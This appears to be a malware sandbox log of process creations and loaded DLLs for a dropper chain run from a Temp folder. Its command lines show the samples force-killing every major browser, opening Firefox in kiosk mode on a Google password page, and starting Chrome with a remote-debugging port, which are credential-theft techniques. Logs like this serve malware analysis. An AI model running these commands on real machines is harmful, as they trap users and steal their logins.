Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe "C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe"
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Process created: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe "C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe"
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Process created: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe "C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe "C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe "C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe "C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe "C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe "C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe"
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2316 --field-trial-handle=2068,i,137062989363131379,3334334011690293707,262144 /prefetch:8
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe "C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2240 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {78dc1d96-0b76-4467-b815-40c13a0cb6b1} 6680 "\\.\pipe\gecko-crash-server-pipe.6680" 1d53a26dd10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4016 -parentBuildID 20230927232528 -prefsHandle 4128 -prefMapHandle 3956 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {001f3511-2f2e-4cf9-832b-7aa384c4ffa9} 6680 "\\.\pipe\gecko-crash-server-pipe.6680" 1d54c386410 rdd
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe "C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe"
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 8144 -s 1564
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe "C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe"
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe "C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe "C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe "C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe "C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe "C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe "C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Process created: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe "C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Process created: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe "C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2316 --field-trial-handle=2068,i,137062989363131379,3334334011690293707,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2240 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {78dc1d96-0b76-4467-b815-40c13a0cb6b1} 6680 "\\.\pipe\gecko-crash-server-pipe.6680" 1d53a26dd10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4016 -parentBuildID 20230927232528 -prefsHandle 4128 -prefMapHandle 3956 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {001f3511-2f2e-4cf9-832b-7aa384c4ffa9} 6680 "\\.\pipe\gecko-crash-server-pipe.6680" 1d54c386410 rdd
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Section loaded: pnrpnsp.dll	Jump to behavior
